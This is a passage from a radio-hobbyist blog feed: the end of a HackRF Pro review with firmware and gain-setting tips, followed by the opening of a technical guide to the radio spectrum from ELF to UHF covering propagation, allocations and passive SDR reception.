<p><strong>Why the Pro</strong>: the TCXO makes the Pro a reasonable measurement instrument for relative power comparisons. By connecting a calibrated signal source at known power levels across the 25–2000 MHz band and recording the Pro’s reported power, we can derive an approximate antenna factor (AF) for the SkyScan — the correction factor that converts received voltage to field strength.<br />
<strong>What</strong>: step through 25–2000 MHz in 25 MHz increments using a signal generator, measure power at the Pro with and without the SkyScan, plot the resulting correction curve. Not a substitute for a calibrated anechoic chamber measurement, but good enough to make quantitative comparisons between different antenna configurations for future projects.<br />
<strong>Tools</strong>: signal generator, GNU Radio power measurement, Python curve fitting, matplotlib</p>

<hr />

<h2 id="practical-notes-for-getting-started">Practical notes for getting started</h2>

<p><strong>Firmware</strong>: before anything else, update to the latest firmware. The Pro shipped with firmware that may predate some extended-precision mode support:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hackrf_info            <span class="c"># check current firmware version</span>
<span class="c"># Download latest from github.com/greatscottgadgets/hackrf/releases</span>
hackrf_spiflash <span class="nt">--write</span> hackrf_one_usb.bin
</code></pre></div></div>

<p><strong>Driver</strong>: the Pro uses the same libhackrf driver as the One. If you have the One working, the Pro works in the same software without reinstallation. <code class="language-plaintext highlighter-rouge">hackrf_info</code> will report it as a distinct device type.</p>

<p><strong>SMA adapter for the SkyScan</strong>: BNC female → SMA male, 50Ω, silver or gold contacts. Keep it tight — a loose adapter introduces measurable noise.</p>

<p><strong>Gain settings starting point</strong>:</p>
<ul>
  <li>Strong local signals (FM broadcast, airport ATC): <code class="language-plaintext highlighter-rouge">amp=off</code>, <code class="language-plaintext highlighter-rouge">lna=8</code>, <code class="language-plaintext highlighter-rouge">vga=16</code></li>
  <li>Medium signals (ISM 433, ADS-B): <code class="language-plaintext highlighter-rouge">amp=off</code>, <code class="language-plaintext highlighter-rouge">lna=24</code>, <code class="language-plaintext highlighter-rouge">vga=28</code></li>
  <li>Weak signals (satellites, far ADS-B): <code class="language-plaintext highlighter-rouge">amp=on</code>, <code class="language-plaintext highlighter-rouge">lna=32</code>, <code class="language-plaintext highlighter-rouge">vga=32</code></li>
  <li>Monitor the waterfall top end — if you see gain compression artefacts, reduce gain</li>
</ul>

<p><strong>16-bit mode</strong>: requires a sample rate of 4 MS/s or less to activate. At 2 MS/s you’re in the sweet spot for ENOB performance. At 1 MS/s you get the best ENOB (9–11 bits effective) but only 1 MHz of instantaneous bandwidth. For HF monitoring where signals are typically tens of kHz wide, 1 MS/s and 16-bit mode is a strong combination.</p>

<p>The Pro is a genuine upgrade. Not a revolutionary redesign — the architecture is the same and the same software runs on it unchanged — but a decade of improvements consolidated into a single platform. The noise figure improvements alone justify the step up from the One if you do any serious receive work above 1 GHz, and the TCXO makes the Pro useful as a precision frequency reference in a way the One never was.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="HackRF" /><category term="HackRF-Pro" /><category term="SDR" /><category term="GNU-Radio" /><category term="TCXO" /><category term="FPGA" /><category term="Moonraker" /><category term="SkyScan" /><category term="antenna" /><category term="hardware-review" /><summary type="html"><![CDATA[A thorough technical walkthrough of the HackRF Pro — every function, what changed from the One, how the Moonraker SkyScan Desktop performs as a companion antenna, and a project list built around the Pro's new capabilities.]]></summary></entry><entry><title type="html">The RF spectrum: a complete technical guide from ELF to EHF</title><link href="https://yumas.hankouri.com/posts/2025/05/15/rf-spectrum-complete-guide/" rel="alternate" type="text/html" title="The RF spectrum: a complete technical guide from ELF to EHF" /><published>2025-05-15T00:00:00+00:00</published><updated>2025-05-15T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/05/15/rf-spectrum-complete-guide</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/05/15/rf-spectrum-complete-guide/"><![CDATA[<div class="layman-summary"><p>
A run through the entire radio spectrum from 3 Hz to 300 GHz — what each band is, how signals propagate in it, what's actually on the air, and what you can receive with cheap hardware. ELF submarine communications at the bottom, millimetre-wave 5G at the top, everything in between.
</p></div>

<p>The radio frequency spectrum runs from 3 Hz — wavelength 100,000 km, roughly a quarter of the way to the Moon — up to 300 GHz where millimetre waves start becoming infrared. Eleven ITU bands. Each one has completely different propagation physics, different signals, different antenna requirements. This is a run through all of them.</p>

<p>The figure below covers the full range on a log scale — each decade takes the same horizontal space, so ELF and SHF get equal room even though one is measured in hertz and the other in gigahertz.</p>

<figure style="margin:2.5rem 0;">
  <img src="/assets/img/rf-spectrum.svg" alt="The RF spectrum from ELF to EHF on a logarithmic scale, showing all ITU bands with key signals annotated" style="width:100%;display:block;border:1px solid var(--border);" />
  <figcaption style="font-family:var(--font-mono);font-size:0.65rem;color:var(--muted);margin-top:0.6rem;letter-spacing:0.05em;">
    Fig. 1 — The RF spectrum from 3 Hz to 300 GHz. Logarithmic scale: each decade occupies equal horizontal space. Band colours transition from green (ELF) through cyan (LF/MF), violet (HF/VHF), red (UHF/SHF) to amber (EHF). Key signals are annotated below the axis.
  </figcaption>
</figure>

<hr />

<h2 id="elf--extremely-low-frequency-330-hz-λ--10000100000-km">ELF — Extremely Low Frequency (3–30 Hz, λ = 10,000–100,000 km)</h2>

<p>At 3 Hz, one complete cycle of the electromagnetic wave takes a third of a second. The wavelength — the physical distance the wave travels in one cycle — is 100,000 km. There is no practical antenna that could be resonant at this frequency; even a quarter-wave monopole would require a 25,000 km element. ELF engineering is not about resonance. It’s about brute-force coupling into the Earth-ionosphere waveguide.</p>

<h3 id="the-schumann-resonance-cavity">The Schumann resonance cavity</h3>

<p>The gap between the Earth’s surface and the lower ionosphere (approximately 60–90 km altitude) forms a resonant electromagnetic cavity. Lightning discharges — there are approximately 100 per second globally — excite standing waves in this cavity at specific frequencies determined by the cavity’s dimensions.</p>

<p>The observed Schumann resonances are:</p>

<table>
  <thead>
    <tr>
      <th>Mode</th>
      <th>Observed frequency</th>
      <th>Theoretical (ideal sphere)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>n=1</td>
      <td>7.83 Hz</td>
      <td>10.6 Hz</td>
    </tr>
    <tr>
      <td>n=2</td>
      <td>14.3 Hz</td>
      <td>18.4 Hz</td>
    </tr>
    <tr>
      <td>n=3</td>
      <td>20.8 Hz</td>
      <td>26.0 Hz</td>
    </tr>
    <tr>
      <td>n=4</td>
      <td>27.3 Hz</td>
      <td>33.5 Hz</td>
    </tr>
    <tr>
      <td>n=5</td>
      <td>33.8 Hz</td>
      <td>41.1 Hz</td>
    </tr>
  </tbody>
</table>

<p>The discrepancy between theoretical and observed values is significant. The ideal formula assumes a perfectly conducting sphere; the real Earth-ionosphere system has finite conductivity, irregular geometry, and spatial variations in ionospheric height. The fundamental observed at 7.83 Hz is well-established and remarkably stable — it serves as a long-term proxy for global lightning activity and has been proposed as an indicator of global temperature change (tropical convective activity drives both).</p>

<p>These resonances are receivable with a simple loop antenna and a low-noise preamplifier. No transmitter required — the global lightning discharge network generates them continuously.</p>

<h3 id="submarine-communications">Submarine communications</h3>

<p>ELF is the only part of the radio spectrum that penetrates seawater to meaningful depths. Seawater is a conductor with conductivity of approximately 4 S/m. RF penetration depth (skin depth) is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>δ = √(2 / (ω × μ × σ))

where ω = 2πf, μ = 4π × 10⁻⁷ H/m (permeability), σ = conductivity (S/m)

At 76 Hz:  δ = √(2 / (477.5 × 4π×10⁻⁷ × 4)) ≈ 29 m
At 10 kHz: δ ≈ 2.5 m
</code></pre></div></div>

<p>At 76 Hz the skin depth is approximately 29 metres — submarines at operating depth of 200+ metres see attenuated but receivable signals. At 10 kHz (VLF) the skin depth is only 2.5 metres; a submarine must come close to the surface to receive.</p>

<p>The US Navy operated two transmitter sites under Project ELF (decommissioned 2004): Clam Lake, Wisconsin and Republic, Michigan. Both operated at the same frequency — 76 Hz — and were connected to function as a single antenna system approximately 84 km in baseline length, using buried ground cables and Earth itself as the conductor. Combined transmitter power was approximately 2.6 MW. The resulting effective radiated power was sufficient to communicate globally with submerged submarines. The data rate was extremely low — typically 1–3 bits per minute — making ELF suitable only for short command codes (“come to periscope depth to receive full message”).</p>

<p>Russia’s ZEVS system, believed to operate from the Kola Peninsula, is reportedly still active. Its operating frequency has been cited variously as 82 Hz in open-source literature, though this figure is difficult to confirm independently. Reception has been reported globally.</p>

<p><strong>SDR accessibility:</strong> ELF is not receivable with any conventional SDR — the sampling rates are overkill by orders of magnitude and the antenna sizes required are non-trivial. Purpose-built ELF receivers use large inductive loop antennas (tens to hundreds of metres diameter) or Earth electrodes.</p>

<hr />

<h2 id="slf--super-low-frequency-30300-hz-λ--100010000-km">SLF — Super Low Frequency (30–300 Hz, λ = 1,000–10,000 km)</h2>

<p>SLF occupies the upper range of practical submarine communication frequencies. The physics is similar to ELF: Earth-ionosphere waveguide propagation with global coverage, good seawater penetration, terrible data rates.</p>

<p>Natural sources in SLF include the upper Schumann harmonics and power line interference — 50 Hz (EU) and 60 Hz (US) mains and their harmonics dominate the SLF spectrum in any populated area. Monitoring SLF usefully requires shielding from mains interference and a location far from power lines and industrial machinery.</p>

<hr />

<h2 id="ulf--ultra-low-frequency-300-hz3-khz-λ--1001000-km">ULF — Ultra Low Frequency (300 Hz–3 kHz, λ = 100–1,000 km)</h2>

<p>ULF occupies an awkward space. Too high for Earth-ionosphere waveguide propagation to be as efficient as ELF/SLF; too low for most established applications. Notable uses:</p>

<p><strong>Mine communications:</strong> ULF penetrates rock significantly better than higher frequencies. Several systems for communicating with trapped miners use ULF, where the rock mass above acts as the attenuating medium rather than seawater.</p>

<p><strong>Magnetotellurics:</strong> Geophysical measurement technique that uses natural ULF electromagnetic fields (sourced from ionospheric currents and distant lightning) to map subsurface conductivity. By measuring the ratio of the horizontal electric and magnetic field components at the surface as a function of frequency, the depth-conductivity profile of the crust can be reconstructed.</p>

<p><strong>Natural sources:</strong> The transition from lightning-generated Schumann modes to ionospheric micropulsations (Pc1–Pc3, 0.1–1 Hz; Pc3–Pc5 in ULF proper) occurs in this range. Magnetospheric cavity modes and geomagnetic micropulsations are ULF phenomena relevant to space weather research.</p>

<hr />

<h2 id="vlf--very-low-frequency-330-khz-λ--10100-km">VLF — Very Low Frequency (3–30 kHz, λ = 10–100 km)</h2>

<p>VLF is the lowest band with substantial conventional transmitter infrastructure. Long wavelengths and low absorption make VLF signals propagate globally within the Earth-ionosphere waveguide with remarkably low path loss — attenuation of approximately 2–3 dB per 1,000 km daytime, somewhat higher at night due to ionospheric height changes.</p>

<h3 id="vlf-navigation-and-time-signals">VLF navigation and time signals</h3>

<p>Before GPS, VLF was the primary medium for long-range radio navigation.</p>

<p><strong>OMEGA navigation system</strong> (10.2, 13.6, 11.3 kHz): Operated 1968–1997. Eight transmitters worldwide providing hyperbolic navigation with approximately 2 km accuracy globally. Decommissioned when GPS provided superior accuracy at lower operational cost.</p>

<p><strong>LORAN-C</strong> (100 kHz, strictly LF but historically grouped with VLF navigation): Chain-based hyperbolic navigation, still used by some maritime and aviation applications via eLORAN.</p>

<h3 id="military-vlf-transmitters">Military VLF transmitters</h3>

<p>The primary remaining VLF infrastructure is military submarine communication networks:</p>

<table>
  <thead>
    <tr>
      <th>Station</th>
      <th>Callsign</th>
      <th>Frequency</th>
      <th>Location</th>
      <th>Power</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>NAA</td>
      <td>NAA</td>
      <td>24.0 kHz</td>
      <td>Cutler, Maine</td>
      <td>~1,800 kW</td>
    </tr>
    <tr>
      <td>NWC</td>
      <td>NWC</td>
      <td>19.8 kHz</td>
      <td>Exmouth, Australia</td>
      <td>1,000 kW</td>
    </tr>
    <tr>
      <td>NML</td>
      <td>NML</td>
      <td>25.2 kHz</td>
      <td>LaMoure, North Dakota</td>
      <td>500 kW</td>
    </tr>
    <tr>
      <td>DHO38</td>
      <td>DHO</td>
      <td>23.4 kHz</td>
      <td>Rhauderfehn, Germany</td>
      <td>800 kW</td>
    </tr>
    <tr>
      <td>GQD</td>
      <td>GQD</td>
      <td>22.1 kHz</td>
      <td>Anthorn, UK</td>
      <td>—</td>
    </tr>
    <tr>
      <td>NAU</td>
      <td>NAU</td>
      <td>40.75 kHz</td>
      <td>Aguada, Puerto Rico</td>
      <td>100 kW</td>
    </tr>
  </tbody>
</table>

<p>These stations are receivable across multiple continents with a simple ferrite rod antenna. Their phase-stable continuous wave transmissions are used by submarines to synchronise clocks and receive brief command messages.</p>

<p><strong>VLF time signals — JXN:</strong> The Norwegian station JXN (16.4 kHz) transmits MSK-modulated time information coordinated with UTC.</p>

<p><strong>Alpha navigation system</strong> (Russia): Three stations transmitting at 11.9, 12.6, and 14.9 kHz, the Russian successor to OMEGA, still operational.</p>

<h3 id="vlf-propagation-physics">VLF propagation physics</h3>

<p>VLF propagates in the Earth-ionosphere waveguide. The waveguide is bounded below by the conducting Earth surface and above by the D-layer of the ionosphere (60–90 km altitude), which is sufficiently conducting at VLF to act as a reflector. Attenuation is low — 2–3 dB/1,000 km — enabling global coverage from a single high-power transmitter.</p>

<p>The waveguide cut-off frequency is approximately 1.8 kHz; below this the waveguide supports only the TM₀₀ mode (quasi-TEM). Above the cut-off, multiple modes propagate, causing modal interference that produces characteristic multi-path fading at ranges of a few thousand kilometres.</p>

<p>Day/night transitions cause predictable phase shifts in received VLF signals as the ionosphere changes height, which can be used for monitoring ionospheric disturbances, solar X-ray events, and lightning-induced electron precipitation.</p>

<p><strong>SDR accessibility:</strong> VLF is receivable with an upconverter and any SDR, or directly with a sound card at the PC line input and a long wire antenna. Typical RTL-SDR V3 receives down to ~500 kHz directly; below this, a simple passive upconverter (mixer + local oscillator at 125 kHz, for example) shifts VLF into the receivable range. Purpose-built VLF receivers use large untuned loop antennas.</p>

<hr />

<h2 id="lf--low-frequency-30300-khz-λ--110-km">LF — Low Frequency (30–300 kHz, λ = 1–10 km)</h2>

<p>LF is the band of terrestrial radio navigation, time signals, and the lower edge of conventional AM broadcasting. Ground wave propagation dominates — the signal follows the Earth’s surface, extending the effective range well beyond the visual horizon.</p>

<h3 id="time-and-frequency-standards">Time and frequency standards</h3>

<p>LF carries several of the world’s primary time signal broadcasts, all phase-locked to national timescales:</p>

<table>
  <thead>
    <tr>
      <th>Station</th>
      <th>Frequency</th>
      <th>Country</th>
      <th>Modulation</th>
      <th>Range</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>WWVB</td>
      <td>60 kHz</td>
      <td>USA</td>
      <td>PWM/BPSK</td>
      <td>Continental US</td>
    </tr>
    <tr>
      <td>MSF</td>
      <td>60 kHz</td>
      <td>UK</td>
      <td>ASK on-off</td>
      <td>~2,000 km</td>
    </tr>
    <tr>
      <td>DCF77</td>
      <td>77.5 kHz</td>
      <td>Germany</td>
      <td>ASK + PSK</td>
      <td>~2,000 km</td>
    </tr>
    <tr>
      <td>TDF</td>
      <td>162 kHz</td>
      <td>France</td>
      <td>ASK</td>
      <td>~1,000 km</td>
    </tr>
    <tr>
      <td>JJY</td>
      <td>40/60 kHz</td>
      <td>Japan</td>
      <td>ASK</td>
      <td>Japan</td>
    </tr>
  </tbody>
</table>

<p>DCF77 (77.5 kHz, 50 kW, Mainflingen, Germany) is the primary European time reference. It transmits a 1 Hz amplitude-keyed time code plus a phase-modulated 512 bps carrier that contains redundant time information. The signal is receivable across central Europe with a small ferrite rod antenna — it drives the radio-controlled clocks in most European households.</p>

<h3 id="navtex-and-maritime-mflf">NAVTEX and maritime MF/LF</h3>

<p>NAVTEX (Navigational Telex) transmits maritime safety information including weather forecasts, navigational warnings, and search-and-rescue notices. While the international NAVTEX frequency (518 kHz) is in the MF band, some national NAVTEX services operate in LF. The system uses SITOR-B (an ARQ/FEC teleprinter protocol) and is freely receivable with a multi-mode decoder.</p>

<h3 id="non-directional-beacons-ndbs">Non-Directional Beacons (NDBs)</h3>

<p>NDBs transmit an unmodulated (or carrier + tone) continuous wave on frequencies from approximately 190 kHz to 1,750 kHz, used by aircraft for ADF (Automatic Direction Finding) navigation. An ADF receiver points toward the transmitter; a flight following two NDBs can determine position by triangulation. NDBs are being decommissioned across Europe and North America as GPS makes them redundant, but many remain on-air. The identifier is transmitted as Morse code.</p>

<p><strong>SDR accessibility:</strong> LF is within the direct reception range of the RTL-SDR V3 (which receives down to approximately 500 kHz natively; below this an upconverter is required). A HackRF or SDRplay covers the full LF band. A long wire antenna of 10+ metres significantly improves reception.</p>

<hr />

<h2 id="mf--medium-frequency-300-khz3-mhz-λ--100-m1-km">MF — Medium Frequency (300 kHz–3 MHz, λ = 100 m–1 km)</h2>

<p>MF is the band of medium-wave AM broadcasting, maritime radio, and the upper edge of navigation beacons. Ground wave propagation dominates during the day; at night the ionospheric D-layer disappears and sky wave propagation allows signals to propagate much further — the night-time “skip” effect familiar to anyone who has tuned a medium-wave radio and found stations from hundreds of kilometres away that are silent during the day.</p>

<h3 id="am-broadcasting">AM broadcasting</h3>

<p>EU medium-wave band: 531–1,611 kHz (9 kHz channel spacing). The AM broadcasting infrastructure in Europe has been substantially reduced since DAB+ and internet streaming became dominant, but the band remains active. Ground wave range for a typical 10 kW transmitter is 100–400 km depending on soil conductivity; sky wave range at night can exceed 2,000 km.</p>

<h3 id="maritime-communications">Maritime communications</h3>

<p><strong>Maritime distress (historical):</strong> 500 kHz was the international maritime distress frequency until 1999 (ITU). Ships maintained a radio watch on 500 kHz; a distress signal (SOS in Morse) on this frequency was the universal maritime emergency call. The frequency is now largely silent for this purpose, replaced by GMDSS (Global Maritime Distress and Safety System) using DSC on VHF and MF DSC.</p>

<p><strong>MF DSC:</strong> 2,187.5 kHz is the international MF Digital Selective Calling distress frequency. Ships transmit DSC alerts on this frequency; coast stations maintain watch. Receivable with a general-coverage receiver and a simple wire antenna.</p>

<p><strong>2,182 kHz:</strong> The international radiotelephone distress and calling frequency. A 3-minute silence period was maintained on this frequency in the maritime community until the GMDSS era.</p>

<p><strong>NAVTEX:</strong> 518 kHz (international, English-language), 490 kHz (national language services). 8-bit SITOR-B protocol. Freely receivable with a short antenna and a software decoder (GNU Radio, Multimon-ng, or purpose-built NAVTEX software).</p>

<h3 id="amateur-160m-band-1820-mhz-eu-1820-mhz-us">Amateur 160m band (1.8–2.0 MHz EU, 1.8–2.0 MHz US)</h3>

<p>The “top band” — 160 metres — is the HF band that behaves most like MF. Ground wave propagation extends to a few hundred kilometres; sky wave at night supports contacts of 3,000+ km. The band is heavily affected by atmospheric noise, which limits receiver sensitivity (the noise floor is set by atmospheric QRN rather than the receiver’s noise figure). Antenna efficiency is very low at 1.8 MHz for any physically reasonable antenna, making 160m operation a niche within amateur radio.</p>

<p><strong>SDR accessibility:</strong> The full MF band is directly receivable with RTL-SDR V3, HackRF, SDRplay, or any general-coverage receiver. A long wire antenna (20+ metres) provides good sensitivity; a magnetic loop or ferrite rod works for portable operation.</p>

<hr />

<h2 id="hf--high-frequency-330-mhz-λ--10100-m">HF — High Frequency (3–30 MHz, λ = 10–100 m)</h2>

<p>HF is the band of ionospheric propagation — the ability to bounce signals off the ionosphere’s reflective layers and achieve worldwide coverage from a single transmitter at a few tens of watts. It is arguably the most important band in the history of radio, the last band that is essentially uncontrollable (anyone with a wire can listen anywhere in the world), and the richest hunting ground for passive RF monitoring.</p>

<h3 id="ionospheric-propagation">Ionospheric propagation</h3>

<p>The ionosphere is a region of partially ionised gas at 60–400 km altitude, sustained by solar ultraviolet and X-ray radiation. It consists of distinct layers:</p>

<p><strong>D layer (60–90 km):</strong> Present only during daylight. Strongly attenuates signals below approximately 10 MHz — this is why AM medium-wave sky wave disappears during the day. The D layer absorbs rather than reflects lower HF.</p>

<p><strong>E layer (90–130 km):</strong> Present during the day, weaker at night. Supports short-skip propagation at lower HF frequencies. Sporadic-E (Es) events — unpredictable intense patches of ionisation — produce strong propagation on VHF bands at 50–100 MHz, sometimes extending to 144 MHz.</p>

<p><strong>F1 layer (130–210 km):</strong> Daytime only. Merges with F2 after sunset.</p>

<p><strong>F2 layer (210–400 km):</strong> The primary HF propagation layer, present day and night (though weakened at night). Maximum electron density determines the <strong>critical frequency</strong> (foF2) — the highest frequency that is reflected vertically. Typical daytime foF2 at mid-latitudes: 5–10 MHz (solar minimum) to 10–15 MHz (solar maximum). Night-time: 3–6 MHz. These values vary significantly with latitude, season, and the 11-year solar cycle.</p>

<p>The <strong>Maximum Usable Frequency (MUF)</strong> for a given path:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MUF = foF2 × sec(θ)
</code></pre></div></div>

<p>where θ is the angle of incidence at the F2 layer. For long-distance paths (several thousand km), the angle θ is large and MUF can be 2–3× the vertical critical frequency. A typical long-path MUF for a transatlantic 5,000 km path might be 20–28 MHz during solar maximum.</p>

<p>The <strong>skip zone</strong> is the region around a transmitter within which sky-wave signals cannot be received. Signals that leave the antenna at angles above the critical angle return to Earth at distances beyond the skip zone; signals below the critical angle are absorbed by the D layer. The skip zone creates a “blind spot” of typically 500–2,000 km radius that moves with frequency — lower frequencies have larger skip zones.</p>

<p><strong>Near-Vertical Incidence Skywave (NVIS):</strong> Antennas tilted nearly straight up produce signals that reflect from the F1/F2 layer almost directly overhead, providing regional coverage (100–500 km) with no skip zone. Used extensively for military tactical HF communications in mountainous or jungle terrain where other propagation modes fail.</p>

<h3 id="hf-allocations-of-interest">HF allocations of interest</h3>

<p><strong>Shortwave broadcasting (3.2–26.1 MHz):</strong> Multiple allocated bands carry international broadcasting — BBC World Service, Voice of America, Radio France Internationale, Deutsche Welle, and dozens of others, now substantially reduced from Cold War levels. Schedule databases (EIBI, Aoki) list active transmissions.</p>

<p><strong>Amateur HF bands (EU allocations):</strong></p>

<table>
  <thead>
    <tr>
      <th>Band</th>
      <th>Frequency</th>
      <th>Mode</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>80m</td>
      <td>3.5–3.8 MHz</td>
      <td>Phone, CW, FT8</td>
    </tr>
    <tr>
      <td>40m</td>
      <td>7.0–7.2 MHz</td>
      <td>Phone, CW, FT8</td>
    </tr>
    <tr>
      <td>20m</td>
      <td>14.0–14.35 MHz</td>
      <td>Phone, CW, FT8, WSPR</td>
    </tr>
    <tr>
      <td>15m</td>
      <td>21.0–21.45 MHz</td>
      <td>Phone, CW</td>
    </tr>
    <tr>
      <td>10m</td>
      <td>28.0–29.7 MHz</td>
      <td>Phone, CW, FM</td>
    </tr>
  </tbody>
</table>

<p><strong>Military HF:</strong> Significant amounts of encrypted HF remain on-air — military nets using STANAG 4285 (9,600 bps PSK-8), STANAG 4538 (BW3 waveform), MIL-STD-188-110B (up to 64,000 bps), and variants. The waveforms are identifiable from their spectrograms and modulation analysis even when the content is encrypted. NATO ECCM (Electronic Counter-Counter-Measures) nets use frequency-hopping ECCM systems that spread transmissions across 30+ MHz in millisecond bursts.</p>

<p><strong>Numbers stations:</strong> Unacknowledged shortwave stations transmitting streams of numbers (or letters, or tones) in apparent cipher. Believed to be operated by intelligence agencies for communication with agents. The Lincolnshire Poacher (E03), Gong Station (M12), UVB-76 (“Buzzer,” S28) — many are still active. The PRIYOM collective documents active transmissions. The signals are freely receivable; the content is not.</p>

<p><strong>Over-the-horizon radar (OTHR):</strong> HF radar systems use ionospheric reflection to detect surface and air targets at ranges of 1,000–3,000 km, far beyond line-of-sight. Identifiable by their distinctive chirped waveforms that sweep rapidly across tens of MHz. The JORN (Jindalee Operational Radar Network) in Australia and similar Russian systems occupy considerable HF spectrum.</p>

<p><strong>HF data links:</strong> ALE (Automatic Link Establishment, MIL-STD-188-141) is ubiquitous on military and government HF — a short tone-burst handshake sequence used to establish a channel before voice or data. ALE messages include callsigns and can be decoded freely with PC-ALE or similar software.</p>

<p><strong>SDR accessibility:</strong> The HF band is the richest for passive monitoring and directly receivable with any wideband SDR. RTL-SDR V3 direct-sampling mode covers roughly 500 kHz–24 MHz (the 28.8 MHz crystal oscillator creates a strong spur around that frequency; avoid tuning near it). HackRF, SDRplay RSP1A, Airspy HF+, and the KiwiSDR cover HF well. A 10–30 metre wire antenna is all that’s needed for reliable worldwide reception.</p>

<hr />

<h2 id="vhf--very-high-frequency-30300-mhz-λ--110-m">VHF — Very High Frequency (30–300 MHz, λ = 1–10 m)</h2>

<p>VHF marks the transition from sky-wave to line-of-sight propagation. The ionosphere is largely transparent at VHF under normal conditions — signals travel in straight lines from transmitter to receiver, limited by the visual (radio) horizon. This makes VHF ideal for regional broadcasting and communications while limiting range for any given transmitter.</p>

<h3 id="propagation-mechanisms-at-vhf">Propagation mechanisms at VHF</h3>

<p><strong>Tropospheric ducting:</strong> Under temperature inversion conditions — warm air above cool — the troposphere can act as a waveguide, channelling VHF signals over distances of hundreds to thousands of kilometres. Ducting events on 144 MHz across the North Sea between the UK and Scandinavia are well-documented.</p>

<p><strong>Sporadic-E:</strong> Unpredictable intense ionisation in the E layer (90–130 km) that reflects VHF signals. Events on 50 MHz (6m) are common; events on 144 MHz (2m) occur several times per year in summer in Europe. During strong Es events, 144 MHz contacts of 2,000+ km are possible for hours.</p>

<p><strong>Aircraft scatter, meteor scatter, auroral propagation:</strong> All relevant for weak-signal VHF work, primarily of interest to amateur radio operators.</p>

<h3 id="vhf-allocations">VHF allocations</h3>

<p><strong>FM broadcasting (87.5–108 MHz, EU):</strong> 200 kHz channel spacing. FM stereo (pilot tone at 19 kHz, DSB stereo subchannel at 38 kHz) plus RDS (Radio Data System) at 57 kHz subcarrier carrying programme information. Trivially receivable with any SDR.</p>

<p><strong>VHF aviation (108–137 MHz):</strong></p>

<ul>
  <li>108–118 MHz: VOR (VHF Omnidirectional Range) navigation beacons. Each transmits a reference phase signal (30 Hz omnidirectional) and a rotating directional signal; the phase difference between them indicates bearing to the station. Receivable with an SDR and decodable with software like VOR decoder or rtl_fm piped to a VOR decoder.</li>
  <li>108–112 MHz: ILS (Instrument Landing System) localiser. Guides aircraft onto the runway centreline.</li>
  <li>112–118 MHz: VOR (navigation).</li>
  <li>118–137 MHz: VHF Air Band, AM voice. International standard is AM (not FM) for aviation. Air Traffic Control communications — approach, tower, ground, ATIS — are all in the clear and freely receivable. FlightAware and similar services aggregate these via distributed receiver networks.</li>
</ul>

<p><strong>NOAA APT satellites (137–138 MHz):</strong> Three operational NOAA POES satellites transmit weather imagery continuously in APT format at 137.1, 137.62, and 137.9125 MHz. Receivable with a simple V-dipole, an RTL-SDR, and Noaa-apt or WXtoImg software. Each visible pass (roughly 5–15 minutes overhead) produces a 2 km/pixel infrared/visible image.</p>

<p><strong>Marine VHF (156–174 MHz):</strong> 25 kHz FM channels. Channel 16 (156.8 MHz) is the international distress and calling channel — continuously monitored by all vessels and coast stations. AIS (Automatic Identification System) transmits on channels 87B (161.975 MHz) and 88B (162.025 MHz) — TDMA transmissions carrying vessel identity, position, speed, and course. AIS is freely decodable with an SDR and a tool like RTL-AIS or AIS-catcher. The data feeds AIS aggregators (MarineTraffic, VesselFinder) via thousands of volunteer receivers.</p>

<p><strong>Amateur 6m (50–52 MHz EU) and 2m (144–146 MHz EU):</strong> The primary VHF amateur bands.</p>

<p><strong>SDR accessibility:</strong> VHF is the sweet spot for RTL-SDR V3 — well within the direct reception range, strong signals from broadcast and aviation, simple antennas work well. A simple half-wave dipole cut for any VHF frequency is sufficient for most purposes.</p>

<hr />

<h2 id="uhf--ultra-high-frequency-300-mhz3-ghz-λ--10-cm1-m">UHF — Ultra High Frequency (300 MHz–3 GHz, λ = 10 cm–1 m)</h2>

<p>UHF carries the majority of modern consumer wireless communications: cellular networks, WiFi, GPS, drone control links, Bluetooth, satellite navigation. It is also the most densely allocated part of the spectrum and the most challenging to monitor comprehensively given the sheer variety of signals present.</p>

<h3 id="propagation-at-uhf">Propagation at UHF</h3>

<p>Line-of-sight dominates, with multipath reflections from buildings, terrain, and atmospheric boundary layers contributing significantly in urban environments. Rain attenuation begins to be significant above 5 GHz; at UHF it remains negligible. Fresnel zone clearance (the ellipsoid around the direct path within which energy is concentrated) requires larger clearance distances than at lower frequencies for the same path performance.</p>

<h3 id="notable-uhf-allocations">Notable UHF allocations</h3>

<p><strong>433 MHz ISM band (433.05–434.79 MHz, EU):</strong> The band of consumer wireless sensors, car key fobs, weather station transmitters, and cheap RC equipment. OOK (On-Off Keying) and FSK modulations dominate. All are freely receivable and most are decodable with rtl_433.</p>

<p><strong>868 MHz ISM band (863–870 MHz, EU):</strong> LoRa IoT sensors, LoRaWAN gateways, ExpressLRS drone control links, SigFox. The 1% duty cycle limit applies to most sub-bands.</p>

<p><strong>GPS constellation:</strong></p>
<ul>
  <li>L1: 1,575.42 MHz — primary civil signal (C/A code, L1C on newer satellites)</li>
  <li>L2: 1,227.60 MHz — precision signal (encrypted P(Y) code, L2C on newer satellites)</li>
  <li>L5: 1,176.45 MHz — safety-of-life signal, new generation</li>
</ul>

<p>GPS signals are receivable but at approximately −130 dBm — well below the noise floor of any SDR at normal bandwidth. GPS receivers use 2 dBi antennas and extremely narrow correlation bandwidths to achieve the required sensitivity; passive reception with an SDR requires specialised software and integration over thousands of code periods.</p>

<p><strong>ADS-B (1,090 MHz):</strong> Extended Squitter Mode S transponder transmissions carrying aircraft position, velocity, identity, and flight status. One pulse every second per aircraft. Decodable with dump1090, readsb, or dump1090-mutability. Range depends on antenna height and aircraft altitude — a roof-mounted antenna at 10 m reaches the geometric radio horizon at approximately 205 NM for a cruising aircraft at 35,000 ft — limited by line-of-sight geometry rather than signal strength.</p>

<p><strong>Cellular (GSM/LTE/5G Sub-6):</strong></p>
<ul>
  <li>700 MHz band (LTE Band 28): 703–748 MHz UL, 758–803 MHz DL</li>
  <li>800 MHz band (LTE Band 20): 832–862 MHz UL, 791–821 MHz DL</li>
  <li>900 MHz band (GSM/LTE Band 8): 880–915 MHz UL, 925–960 MHz DL</li>
